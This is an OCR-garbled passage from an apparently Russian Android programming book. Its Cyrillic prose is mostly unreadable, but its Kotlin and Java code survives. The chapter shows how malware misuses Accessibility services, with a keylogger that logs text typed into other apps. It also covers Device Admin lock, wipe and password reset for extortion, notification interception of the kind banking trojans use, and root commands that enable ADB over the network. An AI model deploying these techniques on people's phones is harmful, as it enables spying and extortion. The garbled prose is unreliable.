[Monyuus poctyn ko BceM 3TuM API, 310BpeaHoe npHaoxkeHHE CMOXET CAenaTh CoO
cMapT(OHOM MPAaKTHYECKH BCE YTO yrogHo. IMeHHO MO3TOMY /IS 3aIUUTHl HCTIONB3YHOT-
Csl He TPaAMLIHOHHbIE 3aNpOCHl MOJIHOMOYHI, Ha KOTOpBIE MOJIB30BATE/Ib MOXKET MallH-
HalbHO OTBETHUTH «Jla», a CKpbITHIH ryOOKO B HacTpoikax MHTepdeic, KOTOphIi Mpu
aKTHBALIMM MOKAKET yrpoxatolee coodieHne. Bee, 4To MoxeT caenaTh NMpHIOKEHHE,
4TOOBI MOMYYHUTh HY>KHOE MOJIHOMOYME, — 3TO Nepe6pOoCUTh NMONB30BaTENA B OKHO 3THX
HaCTpoeK, MocJjie Yero NnocjaeHui JomkeH OyaeT HaiTH Hy)XKHO€e NPHIOXKEHHE, BIUTIOYHTD
COOTBETCTBYIOLIMH MEpPeKIIoYaTeNb U COTNIACHTBCS C MPeAyNpPexIAIOIHM COOOLIEHHEM.

3acTaBUTh MOJIb30BATENs NaTh pa3pelleHHe Ha Hcnonb3oBaHue 3TuX APl moxHo obma-
HOM. 3ayacTyio 3J0BpeAbl MPUKHIBIBAIOTCA JIETMTUMHBIMH MPHIOKEHHAMH, KOTOPBIM
paspelIeHHe HyXHO Ui paboThl KIo4eBoi pyHKUHOHaNBHOCTH. K npuMepy, a0 MOXkeT
ObITh MPUIOXKEHUE [UIS BEJCHUS >KypHana yBEAOMJIEHWH WIH NPHIOKEHHE 1A anbrep-
HATHUBHOM >KECTOBOM HaBUIaLUH (TaKOMY MPHJIOKEHUIO HyXKeH cepBUc Accessibility ans
Ha)kaTHs KHOMOK HaBWrauuu). Taioke MoxHo Hcnonb3oBath aTaky Cloak & Dagger,
4TOOB! NEPEKPBITH OKHO HACTPOEK JPYTrdM 6€300HIHBIM OKHOM.

Haxumaem KHONKU cmapTgoHa

[Npocreiiumii cepeuc Accessibility MoxeT BeIrsaeTs Tak:

\ kotlin

class AccessService: AccessibilityService() {
companion object {
var service: AccessibilityService? = null

// Meron IS NPOTPaMMHOTO HaxaTva kHonky "Jomoit"
fun pressHome () {
service?.performGlobalAction (GLOBAL ACTION HOME)

override fun onServiceConnected() {
service = this
super.onServiceConnected ()

override fun onUnbind(intent: Intent?): Boolean {
service = null
return super.onUnbind(intent)

override fun onInterrupt() {}
override fun onAccessibilityEvent (event: AccessibilityEvent) {}

}
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qTO6I>I CUCTEMA y3HaJ1a l'lpO Halll CEPBHUC, €ro HCO6XO,E[HMO O6’b$lBHTb B
AndroidManifest.xml:

xml

<service
android:name=".AccessService"
android:label="@string/app name"
android:permission="android.permission.BIND ACCESSIBILITY SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility service config" />
</service>

310 onMcaHMe cChUIaeTCs Ha KOHQUrypauMOHHBIH ain accessibility service
config.xml, KOTOpPBIA IO/DKEH OBITh OMNpeZieseH B Karanore xml mpoekrta. lns Hamero
ClTy4yast AOCTaTOYHO OyJeT Takoro KOHgHra:

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:canRetrieveWindowContent="false"
android:description="@string/accessibility description" />

ITocne Toro kak Moip30BaTeNib BKIIOUUT Hall cepBUC Accessibility B okHe Hactpoii-
ki — Cnen. Bo3aMoxHOCTH, cHcTeMa aBTOMaTH4ECKH 3aITyCTUT CEPBUC, U Mbl CMOXEM
BBIMOMHUTD QYHKIMIO pressHome (), YTOOBI HAXATh KHOMKY «JloMoii»:

 kotlin

// Ecim service He null - 3HauMT, CMUCTeMa YCIEWHO 3aMycTusia CepBUC
if (AccessService.service != null) {
AccessService.pressHome ()

OnHOM nUIUB TOMBKO 3TOH (PYHKUMOHAILHOCTH [OCTATOYHO, 4YTOOBI peanu3oBaTh
Ransomware, koTopslii 6yaeT BbI3BIBaTh (YHKUMIO pressHome () B LIMKJIE, YTOOBI Oecko-
HEYHO BO3BpALIATh MMOJIb30BATENS HA AOMALIHUIA SKpaH, He JaBas HOPMAIbHO HUCIONb30-
BaTh YCTPOHCTBO (puc. 15.4).

OpHako Hactosias Moulb Accessibility kpoeTcss He B Ha)XkKaTHHM KHOINOK HAaBWUrallUW,
a B BO3MOXKHOCTH KOHTPOJIUPOBATH APYrHe MPHUI0KEHHS.



Hcnonb3vem 803moxHocmu Android 8 NUYHbIX uensix 215

Puc. 15.4. OxHo BknioueHun cepeunca Accessibility B Android 11

M3snekaem TekcT U3 noneu ssoaa

API Accessibility 6s11 co3aan auis roaeil ¢ orpaHMYEHHBIMH BO3MOXXHOCTAMHU. C ero
MOMOLUBIO MOXHO, HanpHUMep, co3aTh MpPUIOKEHHe, KOTopoe OymeT 3aYydThiBaTh BCeE
HaAMMCH UHTepderca U NMO3BOJIMT «HAXKUMAaTh» Ha 3JIEMEHTHI UHTepdeiica rosocom. Bee
3TO BO3MOXXHO Onarojaps ToMy, uto Accessibility OTKpbIBaeT MOMHBINA JOCTYN K MHTEp-
¢eiicy NMpUIIOKEHHH B BUZIE lepeBa 3JIEMEHTOB, M0 KOTOPOMY MO>KHO MPOATH M BbBIMOJI-
HHTB HaJl 3JIEMEHTaMH ONpe/Ie/ICHHbIE ONepaLiH.

Y1068l HaYy4UUTh Halle MPHIOKEHHE «XOOUTHY MO UHTepdelcy MPUITOKEHHUH, MBI JOJDK-
Hbl MU3MEHHTh ONHCAHME CEpBHCA B €ro HacTpoiikax. Cnexywowas KoHQUrypauus aaert
TMOJIHBIHA AOCTYN K HHTEpGEHCY TH000ro NpUIoKeHHs
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xmi

<accessibility-service
xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackAllMask"
android:accessibilityFlags="flagDefault"
android:canRequestEnhancedWebAccessibility="true"
android:notificationTimeout="100"
android:packageNames="@null"
android:canRetrieveWindowContent="true"
android:canRequestTouchExplorationMode="true"

/>

Tenepy HanuiueM npocrediuuii keinorrep. s 3Toro 106aBUM B y>K€ CYLUECTBYIOLLHH
KOJ CEpBHUCA TaKylo (QyHKLHIO:

kotlin

override fun onAccessibilityEvent (event: AccessibilityEvent) {
if (event.source?.className == "android.widget.EditText") {
Log.d("EditText text: ", event.source?.text.toString())

Tenepb BC€, YTO ITOJIb30BATCJIb BBEACT B moboe noje BBOJa moboro TMPUJIOXCHHS, 6y}1€T
BBIB€JICHO B KOHCOJIb.

API Accessibility focTaTouHO pa3BHT U MO3BOJISET NMEPEMELLATHCS 110 IEPEBY JIEMEHTOB,
KOMUPOBATh TEKCT 3JIEMEHTOB, BCTABJATh B HUX TEKCT W BBIIOJHATbH MHOXECTBO APYTUX
JIeAcTBUii. ITO AEHCTBUTENILHO ONMACHBIM MHCTPYMEHT, noaTtoMy Android Oynet ucnosb-
30BaTh JIIOOYI0 BO3MOXXHOCTb, 4TOOBI OTO3BaTh mpaBa Accessibility y npuaoxeHus.
Hanpumep, 310 mpousoiiieT npu nepBom xe naaeHuu cepsuca. Kpome toro, Andoroid
TaKXe MPeJoCTaBIseT pa3paboTyrkaM crocod 3aLMThl KPUTHUECKMX KOMITOHEHTOB NpPH-
JIO)KEHHS C OMOLIBIO 1ara importantForAccessibility:

xmi

<Linearlayout
android:importantForAccessibility="noHideDescendants"

/>

3TOT KO/ CKPOET JIDHOYT U BCeX ero MoToOMKOB OT cepBUcoB Accessibility. To xxe camoe
B KOJ€:

kotlin

view.setImportantForAccessibility (IMPORTANT FOR ACCESSIBILITY NO HIDE DESCENDANTS) ;
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Ectb yno6Hslii cnoco6 caenats aamn Ul moGoro npunoxeHHs TakUM, KAKMM €ro BUAWT
cepBuc Accessibility (puc. 15.5):

$ adb shell uiautomator dump
$ adb pull /sdcard/window dump.xml

Puc. 15.5. Namn untepdenca Telegram

Bnoxupyem ycTpoiACTBO U 3awWuLLGEeMCa OT yAaNeHUs

Ilepeinem x APl agpmMuHHCTpHpoBaHus ycTpoiicTBa. Kak yxe O6bUto cka3zaHO BbILLIE, 3TOT
API npenHa3HayeH 1 yOaJe€HHOrO YNpaBJieHHs 3alUTON YCTPOMCTB: YCTaHOBKH Mapo-
51, TIOJIMTHK CJIOKHOCTH TNapoJis H yJajleHHoro cbpoca ycrpoiictBa. Mcnonb3oBats ero
He TpyaHee, 4yeM cepBUc Accessibility, HO caM NPHHLMIT HCIIOIB30BAHUA OTIHYAETCA.

[epBoe, yTo MBI JO/DKHBI CAENaTh, — 3TO CO3AaTh pecHBEp, KOTOpbIi OyaeT BbI3BaH
nocse BIJIIOYEHH/BBIKIIIOYEHHS NpaB agMHUHHCTpaTopa. JJo6aBniTe B pecHBep KaKoH-TO
OCMBIC/IEHHBIH KOZA He 0053aTeIbHO — IJIaBHOE, YTOOKI OH MPOCTO ObLI:

kotlin

class DeviceAdminPermissionReceiver : DeviceAdminReceiver() {
override fun onDisabled(aContext: Context, alntent: Intent) {
}

IIaJlee 3TOT PECHBED HeO6XOIII/lMO 1106anm> B MaHPICl)CCTI

! xml

<receiver
android:name=".DeviceAdminPermissionReceiver"
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android:label="@string/app name"
android:permission="android.permission.BIND DEVICE ADMIN">

<meta-data
android:name="android.app.device_admin"
android:resource="@xml/admin policies" />

<intent-filter>
<action android:name="android.app.action.DEVICE ADMIN ENABLED" />
</intent-filter>
</receiver>

Ora 3amMch CChUTaeTCA Ha KOH(PUTYpaUHOHHBINA ¢aiin xml/admin policies.xml. Co3gaem
ero u no6aBnseM ClieqyIoLHne CTPOKH:

xmi | v Wi g j?TJ"

<device-admin>
<uses-policies>
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>

KoHurypauus roBopuT, YyTo Halle MpHIOKEHHe MOXKeT cOpachiBaTh M MEHATH MapoJb
9KpaHa GIIOKMPOBKH, BBIKITIOHATh dKpaH, O10KMpYs ero maponeM, M Aenarb c6poc ycr-
po¥cTBa IO 3aBOACKHX HaCTPOEK.

IMocne Toro, Kak Mosip30BaTeNb AACT pa3pelLleHHe Ha MCMONb30BaHHE MPaB aJMUHHCTpa-
Topa B pasnene Hacrpolikn — Be3onmacHocts — IIpHiiokeHHAs aJMHHHCTpaTOpa
yCTpoiicTBA, MBI MOXXEM TNpPOBEPHTH, ACHCTBHTENBHO JM MBI MOSYYWIH 3TH MNpaBa,
Y BOCTIO/IB30BATHCA UMH:

kotlin e RS TR E R

// OyHKUMS LNA onpelesieHMs HaJMuMs MpaB
fun checkAdminPermission() {
val adminComponent = ComponentName (this,
DeviceAdminPermissionReceiver::class.java)
val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE)
as DevicePolicyManager
return policyManager.isAdminActive (adminComponent) )

val policyManager = getSystemService (Context.DEVICE POLICY SERVICE)
as DevicePolicyManager
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// BIOKMpYyeM YyCTPOMCTBO U MPUHYIUTEJILHO ‘3anpallMBaeM Nnaposlb
policyManager.lockNow ()

// COpacbBaeM YCTPOMCTBO OO 3aBOJCKMX HACTPOEK
policyManager.wipeData (0)

// MeHseM naposis 2kpaHa OJIOKKPOBKM (He patoraer B Android 7+)
policyManager.resetPassword("1234", 0)

OGparuTe BHUMaHHE, YTO Mbl MOXKEM 3a010KMPOBATh YCTPOHCTBO, M Jaxke COPOCHTB €ro
IO 3aBOJICKHX HACTpOeK, HO HaunHas ¢ Android 7 He MOxeM NMOMEHATh TEKYLIUH Maposb
Ha 3kpaHe OnokupoBkd. Ecnu ObiTh Gosiee TOUHBIM, TEKYLUHI Napojb B COBPEMEHHBIX

Puc. 15.6. SkpaH BkNOYEHWA Npas agMUHUCTpaTopa
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YCTPOﬁCTBaX MOXET HU3MEHATH TOJIbKO TNMPHUIIOKEHHUE CO CTATYyCOM device owner. EcTb
TOJIBKO JBa cnocoba NMOJIYYHUTb TakoM cTaTyc:

O ycTaHOBHUTH MPHIOKEHHE-AIMUHUCTPATOpP HA JI€BCTBEHHO YMUCTOE YCTPOWCTBO C MO-
mowsto QR-kopa. Jlns aroro ecth creuuansHbii API, kotoporo Mbi He Oyaem
KacatbcH;

O Ha3HauMTh NpuiokeHHe device owner'om ¢ nomoiubsio ADB mnu npas root. Jlns storo
HY>KHO BBIMOJHUTB TaKylo KOMaHay:

$ dpm set-device-owner com.example.app/.DeviceAdminPermissionReceiver

Ho naxke umes BO3MOXHOCTB TOJIbKO cOpachiBaTb M GJIOKUPOBATh YCTPOMCTBO, Mbl MO-
’KEM HanHcaTh NpHIOKEHHe, KoTopoe OyaeT TpeboBaTh y MoJib30BaTeNs BbIKYN € Yrpo-
30l YHHUTOXXEHHS BCEX AaHHBIX WM OJOKMPOBaTH YCTPOHCTBO B uMkJe. [1py 3ToM nons-
30BaTe/b HE CMOXET MPOCTO TaK B3ATh M YAAIMTh HALIE MPUIOKEHHE, CHA4Yana y Hero
NpUAETCS OTO3BATh MpaBa aAMUHUCTpaTopa (puc. 15.6).

l'lepexaa'rbmaeM n cmaxveaem yseaomneHus

MookeT nokasaTbcs, YTO MEPEXBAT YBEAOMIIEHHI HE CTOJIb YK JIAKOMbIH KyCcOK [Uis 3J10-
BpEOB, HO TOJbKO BAYMaHTECh: B COBPEMEHHbIX YCTPOHCTBAX 4epe3 yBEAOMIIEHUS Mpo-
XOAMT Macca KoHuaeHUHanbHOH MHbopMaunn — SMS (Bkrodas 0HOpPa3oOBblE KOIbI
NOATBEP>KIACHHS ), COOOLIEHUs] MECCEH/IXKEPOB, 3ar0JIOBKH MHUCEM M YaCTb UX COAEPKHUMO-
ro, BCEBO3MO)KHBIE CEPBUCHBIE COOOLIIEHHS.

Kak u B cmydae Accessibility API, ans nepexBata yBeaoMieHHI HyXeH CepBHC, KOTO-
pBIM B KOHEYHOM HTOre OyaeT ynpasnsTh cama cucrema. Hanmiem koa cepsuca:

kotlin

class NLService: NotificationListenerService() ({
private var connected = false

override fun onListenerConnected() ({
connected = true
super.onListenerConnected ()

override fun onListenerDisconnected() {
connected = false
super.onListenerDisconnected ()

override fun onNotificationPosted(sbn: StatusBarNotification) {
cancelNotification (sbn.key)

override fun onNotificationRemoved (sbn: StatusBarNotification?) {

}
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CepBHC UMeeT 4YeTbipe OCHOBHBIX komnjbOeka. /[Ba BbI3bIBAIOTCS MPH MOJKIIOYEHHH/OT-
K/TFOUEHUH cepBUca (3TO 0OBIYHO NMPOMCXOAUT MPH 3aMycke U OCTAaHOBKE MPUIIOKEHHS, a
TAKOKe MPH BKJIIOYEHUU U BBIKJTIOYEHUH J0CTYyNa K yBeAoMileHHsM). Eule aBa Hy>kHbI 41
00paboTkH NosiBIeHHs/Ucue3HOBEHHs yBeaoMneHuid. Haw npocrednii cepeuc npu no-
BJICHUU YBEJOMJIEHHUS Cpa3y CMAaxXHUBAET €ro, a NpyW MCUE3HOBEHUU HE JIENAcT HUYETO.
OpHako Mbl MOrJIM Obl, HanpUMep, 3aMOMHUTD 3aroJIOBOK, TEKCT, a TaKkKe MaKeT, KOTo-
pOMY MPUHALIEXKHUT YBEAOMIIEHUE:

val extras = sbn.notification.extras

val title = extras.getCharSequence (Notification.EXTRA TITLE)
val text = extras.getCharSequence (Notification.EXTRA TEXT)
val package = sbn.packageName

BaHkoBckHe TpOsiHbI OObIYHO CMOTPSAT Ha MaKeT MPHIOXKEHMs, cpaBHUBas ¢ Oa3oil GaH-
KOBCKHMX KJIMEHTOB, a TaKXke pacnapcuBalOT 3arojoBOK M TEKCT cOOOLIEHHS B MOHMCKaX

Puc. 15.7. OkHo BknioyeHus goctyna k ysepomnenusm (notify png, notify2.png)
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cneurpUYHBIX U1 COOOIEHUI 6aHKOB cTpok. [Janee yBegoMieHHe MporpaMMHO CMaxH-
Baetca. YToOrl cepBHc 3apaboTal, ero HeoOXoAUMO 00bIBUTL B MaHHUpecTe:

| xml

<service
android:name=".NLService"
android:label="@string/app_name"
android:permission="android.permission.BIND NOTIFICATION LISTENER SERVICE">
<intent-filter>
<act;on
android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>

ITocne BrmoueHns B Hactpoikax (IIpuimoxkenus u yBegomiaenus — Cnennajabablil
aoctyn — JlocTyn K yBeAOMJIEHHSIM) CEpBHC HayHeT paboTathb (puc. 15.7).

TTpasa root

TpoLiecc HaNKCaHUs NPHIIOKEHHH C MOANEPX KON MPaB r00t CHIBHO OTIMYAETCS OT TPa-
JHMLMOHHOTO TMporpaMMuposanus ans Android. Y He moTomy, YTo HaM NMpHUIeTCs 3aei-
CTBOBaTh HU3KOYpPOBHEBbie cucTeMHble API (xoTs 3T0 TOXE BO3MOXKHO), @ IOTOMY, YTO,
0 CYTH, MBI OyIeM UMETh JIeJI0 C KOHCONBIO M ee koMaHaamu. [TosToMy nepBoe, 4To Ml
JOJDKHBI CA€NIaTh, — 3TO HAYUMTHCS 3aIlyCKaTh KOMaHbl 6€3 1pas root.

3anyckaem komaHabt

3amyck BHEIIHUX KoMaH[ B Android BbIMONHsETCA TOYHO TaK Xke, Kak U B Java, a UMEHHO
C MOMOLIBIO TAKOH CTPOKH:

Runtime.getRuntime () .exec ("xomanna") ;

Hy unu Takoii, eclii Mbl HE XOTHM, YTOOBI MPHUIIOKEHHE YIlaNlo, €C/IM KOMaHIa He OyzaeT
HaligeHa:

java

try {
Runtime.getRuntime () .exec("xomanma") ;
} catch (IOException e) {
throw new RuntimeException (e);

Me'ro,u exec () 3aITyCKaeT LWIE/UT U KOMaHAy B HEM B OTJICJIbHOM IMOTOKE. ITocne 3aBepiue-
HHA KOMaHObI [MOTOK YHHYTOXXACTCA. Bce IPOCTO U IMMOHATHO, TOJIBKO TOJIKY HaM OT 3TOro
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Masio — BbIBOJa KOMaHIbl Mbl BC€ paBHO HE BHAMM. UToObI peluuTh 3Ty npobieMy, Mbl
JOJDKHBI NPOYHTATh CTAHAAPTHBIA BBIXOAHOM IMOTOK, VIS Yero NMoHagoOMTCS MPHMEPHO
TaKas QyHKLHA:

public String runCommand(String cmd) (
try {
// BHINONHAEM KOMaHmy
Process process = Runtime.getRuntime ().exec(cmd);

BufferedReader reader = new BufferedReader (
new InputStreamReader (process.getInputStream()));

int read;
char[] buffer = new char[4096];
StringBuffer output = new StringBuffer();

// UnraeMm BHBOR
while ((read = reader.read(buffer)) > 0) {
output.append (buffer, 0, read);

reader.close();

// DoxupaeMcA 3aBeplieHMs KOMaHOH Y BO3BpallaeM pesysbTarT
process.waitFor () ;
return output.toString();
} catch (IOException e) {
throw new RuntimeException(e);
} catch (InterruptedException e) {
throw new RuntimeException (e);

Teneps y Hac ecTb BO3MOXHOCTB 3aITyCKaTh KOMaHIbI M BUIETH pe3ysIbTaT HX paboTsl, HO
410 3710 HaM Aaet? Hy, kak BapHaHT, Mbl MOXXEM MPOYHTAaTh HHPOPMALIMIO O MpoLeccope
(puc. 15.8). Co3naem npoctyio GOpMOYKY C OXHOM KHOMKOW CBEpXY M TextView HHDKE
Hee. [lanee B Tene MeTola onCreate MHILIEM TaKOH KOZ:

java

// Haw TextView
final TextView textView = (TextView) findViewById(R.id.textView);

// Keonka
final Button button = (Button) findViewById(R.id.button);
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// TIpu HaxaT¥ KHOMKH. .
button.setOnClickListener (new View.OnClickListener() {
public void onClick (View v) {
// 3anyckaeM KOMaHOy M pa3melaeM BbiBog B TextView
String cpuinfo = runCommand("cat /proc/cpuinfo");
textView.setText (cpuinfo) ;

b

Puc. 15.8. Co6ctBenHbii CPU-Z B aBE CTpoOku

Pesynbrar, kak roBopurcs, Hanuuo. TouyHee, Ha 3kpaH. Bmecto koMaHOw! cat /proc/
cpuinfo MOXKHO MCIMOJIB30BATh U YTO-TO MO3K30THUYHEE, HATIPUMEP cat /system/build.prop
U1 MpocMoTpa daiina cucteMHbIX HacTpoek. OIHAKO Tak MBI JAJIEKO HE yeaeM, CHCTEMa

HE€ NaCT HaM CO€JIaTb 4YTO-TO CEPbLE3HEEC, YEM UYTCHHE HEKOTOPLIX Q)aifmon HWJIK 3aIlyCK
MNMPOCTBHIX KOMaHA.

TTonyuyaem npaea cynepnonbsosatens

Kak 51 yxe cka3zan, ¢pyHKUHOHAJIBHOCTh rOOt-NMPUIIOKEHHI NOCTPOEHa Ha TOM, YTOOBI 3a-
IMycKaThb KOMaHAbl OT MMEHM MOMb30BaTens root, T.e. cyneprnonas3oBatens. B UNIX-
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cucremax, koed Android sBiseTcs Ha caMOM HU3KOM YPOBHE, 3Ta ONepauus BbIMOTHACT-
cs C MOMOILbIO KoMaHAb! su. [Io yMona4aHMIO OHa MPOCTO OTKpHIBAET LIET C MpaBaMH
root, HO ¢ NOMoILbIO ¢Jiara -c MpaBaMH root MOXKHO HaJeMTh JItoOylo koMaHay. Hanpu-
Mep, YTOOBI BBIMOJHUTH KOMaHY id C PaBaMH root, JOCTaTOYHO TaKOH CTPOKH:

java

runCommand ("su -c id");

KomaHaa id, KCTaTd roBops, BO3BpallaeT HACHTHYUKATOp TEKYLIEro Moib30BaTelNs
(0 = root), Tak 4YTO cpazy MOXKHO NMPOBEPUTh, Kak Bce paboraer. OnHAKO TaKOH MeTOA
3aIycka UMeeT HEKOTOopble MpobieMbl ¢ MapcHHroM. Eciu Mel ykaxkeM JOMNOJIHUTENbHbIE
apryMeHThl (HanpHMep, su -c uname -a), KOMaHAa NMpocTo He oTpabotaet. O6oiTH Orpa-
HHYeHHEe MOXHO, NepeJaB ee kak MaccHB cTpok. [lns yno6cTBa HeMHoro MoauduuupyemM
KOJ M€Toda runCommand, 3daMEHHUB B HEM MEPBYIO CTPOKY:

java |

public String runSuCommand (String cmd) {

Process process = Runtime.getRuntime().exec(new String(]{"su", "-c", cmd});

Bce, TENEPh C €ro NOMOLBKO MOXKHO 3aITYyCKaTh XOTh HECKOJIBKO KOMaHA OJHOBPEMEHHO,
BC€ C MpaBaMH root:

java

runSuCommand ("1d; uname -a; cat /proc/cpuinfo");

B cywHocTH, 3T0 BCe, U MOXKHO NMEPEXOAMTH K MPUMEpPaM, HO €CThb €Lle OJAWH HIOAHC:
cMapThOH MOXKeET OBITh HE PYTOBaH. DTOT MOMEHT HEOOXOIUMO 003aTeNbHO YYHTHIBATh
M npoBepATh HanMuMe npas root. Hau6onee npocroit U 3¢ dekTuBHbINi criocob npoep-
KH — 3TO MPOCTO MOCMOTPETD, €CTh JIH OMHAPHHK su B cucTeMe. OGBIYHO OH pacrnoJara-
€TCA B KaTallore /system/bin/ WIM /system/xbin/ (B OONBIIMHCTBE CIy4aeB), MO3TOMY
MPOCTO HaMHLIEM TaKylo QyHKUHIO:

java

private boolean checkSu() {
String[] places = {"/system/bin/", "/system/xbin/"};
for (String where : places) {
if (new File(where + "su").exists()) {
return true;
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return false;

OOBACHATH TYT 0CO00 Hevero: ecTb su — frue, HeT — false (puc. 15.9).

Puc. 15.9. CranaapTHoe okHO 3anpoca npas root 8 CyanogenMod

Heckonvko npumepos

B Mapkere monHO pa3HOOOpPa3HBIX root-MpUIoKeHHH. D10 U codT ans 3amycka ADB
B CETEBOM PEKUME, M MPUIOKEHHUA U1 YCTAHOBKH recovery WiH saep, ¥ codt s nepe-
3arpy3ku Hanpsamyio B recovery. Ceifuac s Mokaxcy, HACKOJIbKO Ha CaMOM JieJie CJIOMKHBI
3TH npwioxenus. Mtak, nepselit TN coTa: NMpUIIOKEHUE [UIA Nepe3arpy3Ku B recovery.
B kacTOMHBIX MpOLUMBKAX 3TO IITaTHas QYHKUMA, AocTynHas B Power Menu, Ho B cTO-
KOBBIX MpPOLIMBKAX AJS 3TOro INPHUXOIUTCA HCMONB30BaTh creuuanbHbiid codr. Bee
cnoxHo? OTHIOAB:

java '

runSuCommand ("reboot recovery");



Ucnonb3yem eo3moxHocmu Android 8 TuYHbLIX uensix 227

Bosiee ciioxHbIil nMpuMep — MPOLIMBKA KACTOMHOM KOHCOJIM BOCCTAHOBJICHUS MPAMO M3
Android. B koze 3TO BBINIAAUT TaK:

java
String recoverylmage = "/sdcard/recovery.img";
String recoveryPartition = "/dev/block/platform/msm sdcc.1/by-name/recovery";

runSuCommand ("dd if=" + recoveryImage + " of=" + recoveryPartition);

CTOUT OTMETHUTB, YTO 3TO NMpuUMep Aad uunoB Qualcomm, B ycTpoiicTBax Ha 0a3ze qpyrux
SoC myTtb no pasgena recovery Oyaner npyruM. Kcrat, npoBeputh, kakoi Yun UCnob3y-
eTcs B JeBaiice, MOXHO C MOMOLIBIO BCE TOTO XKeE /proc/cpuinfo:

java

String cpuinfo = runCommand ("cat /proc/cpuinfo");
if (cpuinfo.contains("Qualcomm")) {

// VmeeMm peso ¢ Qualcomm, OT/MUHO, MPOIOOJDKAEM
} else {

// Ipyroit SoC

Wnem panviie, Ha ouepeau npunoxeHus B crune Wi-Fi ADB (3To peanbHoe Ha3BaHUE).
B MapkeTe TakuX MOJIHO, U BCE OHHU BHINIAJAT OJMHAKOBO: 3KpaH C OAHOM KHOIKOM As
BKJTFOYEHHU/BBIKITIOUEHHS pexkuMa oTnaaku o cetd (ADB over Wi-Fi). @yHnkuus oueHb
ynoOHas, a moToMy NPHIOXKEHHS MOJb3YIOTCA NomyaspHocThio. Kak peanusoBars TO ke
camoe? OueHb MpocTo:

java

runSuCommand ("setprop service.adb.tcp.port 5555; stop adbd; start adbd");

Bce, Teneps cepsep ADB Ha cMapTdoHe paboTaeT B CETEBOM pexXHMe, U K HEMY MOXKHO
MOAKTIOYUTBCS C MOMOLUBIO KOMaH/BI adb connect IP-ampec. IS OTKIIOYEHHUS CETEBOTO
pexXuMa MCHOJIb3yeM TakoM KOZ:

java

runSuCommand ("setprop service.adb.tcp.port -1; stop adbd; start adbd");

Hy u B 3aBepiuieHre noroBopuM o HacTpoduukax sapa. Takux B Mapkere OOCTaTOYHO
MHOTr0, OO1H U3 Haubosee nomynspHerx — TricksterMod. OH no3BosseT U3MEHATh aro-
pUTM 3HeprocOepexeHHs fApa, BKIOYaTh/BhIKIOYaTh ADB over Wi-Fi, HacTpauBars
NOACHCTEMY BHpPTYaIbHOH MaMATH M MHoroe apyroe. IlouT Bce 3TH omepauuu
TricksterMod (u mpyro¥ cxoxuit codT) BHINOSHAET IyTeM 3alKUCH OINMpPEAENEeHHbIX 3Ha-
YEHHid B CHHTETHYECKHE (aiiyibl B KaTajorax /proc H /sys.
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PeanuzoBate pyHkuuu TricksterMod He coctaBut Tpyna. K npuMepy, HaM Hago Hanu-
caTb KOJl, M3MEHSAIOIIMI anroput™m sHeprocOeperkeHus npoueccopa (governor). s
BBIIIOJIHEHUA 3TOH oONepalud ciedyeT 3amMcaTb MMs HY)KHOro aiaroputma B daiin
/sys/devices/system/cpu/cpul/cpufreq/scaling governor, OJHAaKO IJIs Ha4yajla HY>XHO BbI-
SCHUTh, Kakye aJirOPUTMbI MoaaepkuBaer sapo. OHU nepeduciieHbl B Apyrom daiine,
MO3TOMY MBI HalHILEM NMPOCTYIO PYHKUHIO IS €ro YTEHHS:

java

private String[] getGovs() {

return runCommand ("cat
/sys/devices/system/cpu/cpul/cpufreq/scaling available governors").split(" ");

}

HMes cnucok moaaep)KMBaeMbIX ajJropuTMOB, Mbl MOXKEM BbIOPaTb OAMH M3 HUX NyTeM
3anucH B ¢ain scaling governor. Jns yno6¢TBa OyaeM HCMoab30BaTh Takylo QYHKLHIO:

I java

private boolean changeGov(String gov) {

runSuCommand ("echo " + gov + " >
/sys/devices/system/cpu/cpul/cpufreq/scaling governor");

String newgov = runCommand ("cat
/sys/devices/system/cpu/cpul/cpufreq/scaling governor");

if (newgov == gov) {

return true;
}

return false;

ITocne 3anucy 3HaYeHHs MBI BHOBB YHTaeM ¢aiil, 4ToObl YAOCTOBEPUTHCS, UTO AAPO AeH-
CTBHTENBHO NMEPEKIIOYWIOCH Ha yKa3aHHbIH anroputM. Jlanee MoxxHO co3naTth Gopmouky
C KHOMOYKaMH M MEHIO U MOBECUTh Ha HUX HAalM (YHKUMH. EcTb M MHOXeCTBO apyrux
(aiinos 111 TOHKOH HaCTPOHKU anropuTMa sHeprocoepexxeHus (puc. 15.10).

Puc. 15.10. EcTb u MHOXECTBO ApYyrux ainnos ANs TOHKOW HACTPOMKK anropuTMa dHeprocbepexenuns
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CropoHHue 6ubnuorexm

[IprBeieHHBIN BbIlIE CIOCOO BBIMOJIHEHHS KOMaHJ C MpaBaMH root OTIIMYHO paboTaer,
HO uMeeT HebGosbLoi HegocTtaTok. Jleno B TOM, YTO 3ampoc MpaB CyNeproib30BaTens
OyneT NpOUCXOAHUTh BO BpeMs KaXJOro UCMONHEHH QYHKIMHU RunSuCommand (), @ 3TO 3Ha-
YUT, YTO €CJIM 03ep He MOCTABUT rajouky BoJibile He cmpamMBaTh B OKHE 3arpoca
npas root, OH OBICTPO YCTAHET OT TaKUX 3aNpPOCOB.

Pewnte npobieMy MOXHO OOWH pa3, OTKpbIB root-mesn. Jlanblue BHIONHATh BCE
KOMaH/ipl yXke B HeM. B OonbIIMHCTBE CiTyyaeB Takod METOA 3aIycka M30BITOYEH, T. K.
00BIYHO HaM HEOOXOAMMO BBITIOJIHUTB TOJIBKO OJIHY-IB€ KOMaHIbl, KOTOPbIE MOXKHO 00Bb-
€IMHUTb B oaHy cTpoky. Ho oH Oyner moneseH mnpu pa3paboTke CIOXHBIX root-
MPHJIOXKEHUH BpOJe KOMIJIEKCHBIX HACTPOMIMKOB AApa U MPOCcTO KOMOAHHOB.

Peanuzaims yno6Ho# B HCMONB30BaHUM 00EPTKH VIS 3aITyCKa root-Iuesuia 0CTyIHa Kak
MHHUMYM B Tpex OUOJIHOTEKAX.

3 RootTools (https://github.com/Stericson/RootTools) oT Stricson, pazpaboTunka HH-
crayuisropa Busybox nns Android;

O libsuperuser (https://github.com/Chainfire/libsuperuser) ot nerengaptoro Chainfire;
